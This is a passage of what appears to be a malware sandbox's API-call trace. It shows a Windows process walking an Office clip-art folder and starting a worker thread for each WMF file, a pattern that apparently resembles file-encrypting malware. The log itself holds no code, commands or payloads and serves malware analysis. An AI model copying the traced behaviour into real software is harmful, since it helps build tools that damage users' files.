(in: _Dest=0x8f70a8, _Source="J0216724.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" [0153.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f70a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14 [0153.347] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0153.347] wcscmp (_String1="J0216858.WMF", _String2=".") returned 1 [0153.347] wcscmp (_String1="J0216858.WMF", _String2="..") returned 1 [0153.347] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7e78 [0153.347] wcscpy (in: _Dest=0x8f7e78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.347] wcscat (in: _Dest=0x8f7e78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.347] wcscat (in: _Dest=0x8f7e78, _Source="J0216858.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" [0153.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1380 [0153.348] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0153.348] wcscmp (_String1="J0217698.WMF", _String2=".") returned 1 [0153.349] wcscmp (_String1="J0217698.WMF", _String2="..") returned 1 [0153.349] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8890 [0153.349] wcscpy (in: _Dest=0x8f8890, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.349] wcscat (in: _Dest=0x8f8890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.349] wcscat (in: _Dest=0x8f8890, _Source="J0217698.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" [0153.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x137c [0153.350] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0153.350] wcscmp (_String1="J0221903.WMF", _String2=".") returned 1 [0153.350] wcscmp (_String1="J0221903.WMF", _String2="..") returned 1 [0153.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f89a0 [0153.350] wcscpy (in: _Dest=0x8f89a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.350] wcscat (in: _Dest=0x8f89a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.350] wcscat (in: _Dest=0x8f89a0, _Source="J0221903.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" [0153.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f89a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1378 [0153.351] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0153.351] wcscmp (_String1="J0222015.WMF", _String2=".") returned 1 [0153.351] wcscmp (_String1="J0222015.WMF", _String2="..") returned 1 [0153.351] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f82b8 [0153.351] wcscpy (in: _Dest=0x8f82b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.351] wcscat (in: _Dest=0x8f82b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.351] wcscat (in: _Dest=0x8f82b8, _Source="J0222015.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" [0153.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f82b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374 [0153.352] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0153.352] wcscmp (_String1="J0222017.WMF", _String2=".") returned 1 [0153.352] wcscmp (_String1="J0222017.WMF", _String2="..") returned 1 [0153.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8c48 [0153.352] wcscpy (in: _Dest=0x8f8c48, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.352] wcscat (in: _Dest=0x8f8c48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.352] wcscat (in: _Dest=0x8f8c48, _Source="J0222017.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" [0153.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8c48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1370 [0153.353] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0153.353] wcscmp (_String1="J0222019.WMF", _String2=".") returned 1 [0153.353] wcscmp (_String1="J0222019.WMF", _String2="..") returned 1 [0153.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50f40 [0153.354] wcscpy (in: _Dest=0x12c50f40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.354] wcscat (in: _Dest=0x12c50f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.354] wcscat (in: _Dest=0x12c50f40, _Source="J0222019.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" [0153.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0153.356] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0153.356] wcscmp (_String1="J0222021.WMF", _String2=".") returned 1 [0153.356] wcscmp (_String1="J0222021.WMF", _String2="..") returned 1 [0153.356] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50fc8 [0153.356] wcscpy (in: _Dest=0x12c50fc8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.356] wcscat (in: _Dest=0x12c50fc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.356] wcscat (in: _Dest=0x12c50fc8, _Source="J0222021.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" [0153.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368 [0153.357] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0153.357] wcscmp (_String1="J0229385.WMF", _String2=".") returned 1 [0153.357] wcscmp (_String1="J0229385.WMF", _String2="..") returned 1 [0153.357] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51050 [0153.357] wcscpy (in: _Dest=0x12c51050, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.357] wcscat (in: _Dest=0x12c51050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.357] wcscat (in: _Dest=0x12c51050, _Source="J0229385.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" [0153.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360 [0153.358] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0153.358] wcscmp (_String1="J0229389.WMF", _String2=".") returned 1 [0153.358] wcscmp (_String1="J0229389.WMF", _String2="..") returned 1 [0153.358] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c510d8 [0153.358] wcscpy (in: _Dest=0x12c510d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.358] wcscat (in: _Dest=0x12c510d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.358] wcscat (in: _Dest=0x12c510d8, _Source="J0229389.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" [0153.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c510d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c [0153.359] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0153.359] wcscmp (_String1="J0230876.WMF", _String2=".") returned 1 [0153.359] wcscmp (_String1="J0230876.WMF", _String2="..") returned 1 [0153.359] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51160 [0153.359] wcscpy (in: _Dest=0x12c51160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.359] wcscat (in: _Dest=0x12c51160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.360] wcscat (in: _Dest=0x12c51160, _Source="J0230876.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" [0153.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1358 [0153.361] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0153.361] wcscmp (_String1="J0233018.WMF", _String2=".") returned 1 [0153.361] wcscmp (_String1="J0233018.WMF", _String2="..") returned 1 [0153.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c511e8 [0153.361] wcscpy (in: _Dest=0x12c511e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.361] wcscat (in: _Dest=0x12c511e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.361] wcscat (in: _Dest=0x12c511e8, _Source="J0233018.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" [0153.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c511e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354 [0153.363] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0153.363] wcscmp (_String1="J0233070.WMF", _String2=".") returned 1 [0153.363] wcscmp (_String1="J0233070.WMF", _String2="..") returned 1 [0153.363] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51270 [0153.363] wcscpy (in: _Dest=0x12c51270, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.363] wcscat (in: _Dest=0x12c51270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.363] wcscat (in: _Dest=0x12c51270, _Source="J0233070.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" [0153.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1350 [0153.364] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0153.364] wcscmp (_String1="J0233312.WMF", _String2=".") returned 1 [0153.364] wcscmp (_String1="J0233312.WMF", _String2="..") returned 1 [0153.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c512f8 [0153.364] wcscpy (in: _Dest=0x12c512f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.364] wcscat (in: _Dest=0x12c512f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.364] wcscat (in: _Dest=0x12c512f8, _Source="J0233312.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" [0153.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c512f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134c [0153.608] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0153.608] wcscmp (_String1="J0234131.WMF", _String2=".") returned 1 [0153.608] wcscmp (_String1="J0234131.WMF", _String2="..") returned 1 [0153.608] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8918 [0153.608] wcscpy (in: _Dest=0x8f8918, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0153.608] wcscat (in: _Dest=0x8f8918, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0153.608] wcscat (in: _Dest=0x8f8918, _Source="J0234131.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" [0154.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc [0154.021] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0154.021] wcscmp (_String1="J0234266.WMF", _String2=".") returned 1 [0154.021] wcscmp (_String1="J0234266.WMF", _String2="..") returned 1 [0154.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f82b8 [0154.021] wcscpy (in: _Dest=0x8f82b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.021] wcscat (in: _Dest=0x8f82b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.021] wcscat (in: _Dest=0x8f82b8, _Source="J0234266.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" [0154.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f82b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148 [0154.022] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0154.022] wcscmp (_String1="J0234657.WMF", _String2=".") returned 1 [0154.022] wcscmp (_String1="J0234657.WMF", _String2="..") returned 1 [0154.023] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, 